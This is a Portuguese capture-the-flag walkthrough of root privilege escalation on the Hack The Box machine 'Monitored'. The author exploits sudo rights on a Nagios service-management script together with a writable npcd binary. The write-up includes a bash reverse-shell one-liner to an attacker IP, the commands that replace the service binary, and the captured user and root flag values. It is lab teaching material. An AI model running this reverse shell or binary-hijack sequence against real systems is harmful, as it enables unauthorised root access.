drwxr-xr-x 4 nagios nagios 4.0K Jan 17 13:07 .
drwxr-xr-x 4 root root 4.0K Nov 9 10:38 ..
lrwxrwxrwx 1 root root 9 Nov 11 10:57 .bash_history -> /dev/null
-rw-r--r-- 1 nagios nagios 131 Jan 17 13:07 cookie.txt
drwxr-xr-x 3 nagios nagios 4.0K Nov 10 14:25 .local
drwx------ 2 nagios nagios 4.0K Dec 7 03:18 .ssh
-rw-r----- 1 root nagios 33 Jan 17 13:02 user.txt
(remote) nagios@monitored:/home/nagios$ cat user.txt
059547ca5b222c5d654b3d3947538967
Privilege Escalation e Root flag
Iniciando um recon do nosso alvo encontramos os seguintes comandos que o usuários nagios pode executar com permissões de root e sem necessidade de utilizar senha:
(remote) nagios@monitored:/home/nagios$ sudo -l
Matching Defaults entries for nagios on localhost:
env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin
User nagios may run the following commands on localhost:
(root) NOPASSWD: /etc/init.d/nagios start
(root) NOPASSWD: /etc/init.d/nagios stop
(root) NOPASSWD: /etc/init.d/nagios restart
(root) NOPASSWD: /etc/init.d/nagios reload
(root) NOPASSWD: /etc/init.d/nagios status
(root) NOPASSWD: /etc/init.d/nagios checkconfig
(root) NOPASSWD: /etc/init.d/npcd start
(root) NOPASSWD: /etc/init.d/npcd stop
(root) NOPASSWD: /etc/init.d/npcd restart
(root) NOPASSWD: /etc/init.d/npcd reload
(root) NOPASSWD: /etc/init.d/npcd status
(root) NOPASSWD: /usr/bin/php /usr/local/nagiosxi/scripts/components/autodiscover_new.php *
(root) NOPASSWD: /usr/bin/php /usr/local/nagiosxi/scripts/send_to_nls.php *
(root) NOPASSWD: /usr/bin/php /usr/local/nagiosxi/scripts/migrate/migrate.php *
(root) NOPASSWD: /usr/local/nagiosxi/scripts/components/getprofile.sh
(root) NOPASSWD: /usr/local/nagiosxi/scripts/upgrade_to_latest.sh
(root) NOPASSWD: /usr/local/nagiosxi/scripts/change_timezone.sh
(root) NOPASSWD: /usr/local/nagiosxi/scripts/manage_services.sh *
(root) NOPASSWD: /usr/local/nagiosxi/scripts/reset_config_perms.sh
(root) NOPASSWD: /usr/local/nagiosxi/scripts/manage_ssl_config.sh *
(root) NOPASSWD: /usr/local/nagiosxi/scripts/backup_xi.sh *
Os arquivos listados que estão no diretório /etc/init.d/ não existem e como usuário nagios não temos permissão para criar. Os demais scripts podemos executar, mas não altera-los.
Visando uma enumeração do ambiente por completo iremos executar o script linpeas, que irá automatizar o procedimento.
Basta realizar o upload, dar permissão de execução e executar. O linpeas é um shell script.
Analisando a saída do arquivo temos uma parte que é interessante:
╔══════════╣ Analyzing .service files
╚ https://book.hacktricks.xyz/linux-unix/privilege-escalation#services
/etc/systemd/system/multi-user.target.wants/nagios.service is calling this writable executable: /usr/local/nagios/bin/nagios
/etc/systemd/system/multi-user.target.wants/nagios.service is calling this writable executable: /usr/local/nagios/bin/nagios
/etc/systemd/system/multi-user.target.wants/nagios.service is calling this writable executable: /usr/local/nagios/bin/nagios
/etc/systemd/system/multi-user.target.wants/npcd.service is calling this writable executable: /usr/local/nagios/bin/npcd
/etc/systemd/system/npcd.service is calling this writable executable: /usr/local/nagios/bin/npcd
You can't write on systemd PATH
Os dois arquivos contidos em /etc/systemd/system/multi-user.target.wants/ são arquivos utilizados pelo systemd para administrar programas, eles são responsáveis pelos parâmetros de execução, neste caso do nagios e do npcd.
No caso da saída acima vemos que ambos apontam para binários que nosso usuário tem permissão de escrita, no entanto nosso usuário nagios não tem permissão para reiniciar, parar ou iniciar programas através do systemctl:
(remote) nagios@monitored:/home/nagios$ systemctl restart nagios
Failed to restart nagios.service: Access denied
See system logs and 'systemctl status nagios.service' for details.
Porém entre os scripts listados no sudo -l que nosso usuário pode executar com permissões de root consta o seguinte:
(remote) nagios@monitored:/home/nagios$ sudo /usr/local/nagiosxi/scripts/manage_services.sh
First parameter must be one of: start stop restart status reload checkconfig enable disable
Este por sua vez serve para gerenciar serviços, seja start, stop, reload e etc.
Analisando o script vemos que conseguimos através do mesmo reiniciar controlar a execução tanto do nagios quando do npcd e outros:
(remote) nagios@monitored:/home/nagios$ sudo /usr/local/nagiosxi/scripts/manage_services.sh restart
Second parameter must be one of: postgresql httpd mysqld nagios ndo2db npcd snmptt ntpd crond shellinaboxd snmptrapd php-fpm
Podemos substituir um destes binários por um script que executará como root, este script pode ser um reverse shell por exemplo:
#!/bin/bash
bash -i >& /dev/tcp/10.10.14.128/9002 0>&1
Como ja estamos utilizando a porta 9001, para este outro reverse shell iremos utilizar a porta 9002. Após criar o arquivo iremos dar permissão de execução e substituir o atual arquivo npcd:
(remote) nagios@monitored:/home/nagios$ vi npcd
(remote) nagios@monitored:/home/nagios$ chmod +x npcd
(remote) nagios@monitored:/home/nagios$ mv /usr/local/nagios/bin/npcd{,.bak}
(remote) nagios@monitored:/home/nagios$ cp npcd /usr/local/nagios/bin/
(remote) nagios@monitored:/home/nagios$ cat /usr/local/nagios/bin/npcd
#!/bin/bash
bash -i >& /dev/tcp/10.10.14.128/9002 0>&1
Agora em outra aba do terminal iremos utilizar novamente o pwncat para ouvir na porta 9002:
┌──(root㉿kali)-[/home/kali/hackthebox/machines-linux/monitored]
└─# pwncat-cs -lp 9002
[14:27:31] Welcome to pwncat 🐈!
E executar o script manage_services.sh:
(remote) nagios@monitored:/home/nagios$ sudo /usr/local/nagiosxi/scripts/manage_services.sh restart npcd
(remote) nagios@monitored:/home/nagios$
Com isso temos o seguinte retorno no novo pwncat como usuário root, conseguindo assim a root flag:
(local) pwncat$
(remote) root@monitored:/# id
uid=0(root) gid=0(root) groups=0(root)
(remote) root@monitored:/# ls -a /root/
. .. .bash_history .bashrc .cache .config .cpan .gnupg .local .profile root.txt .ssh
(remote) root@monitored:/# cat /root/root.txt
01afe731595a5fed86f858423165f80e
Finalizando assim a máquina Monitored!
Top comments (0)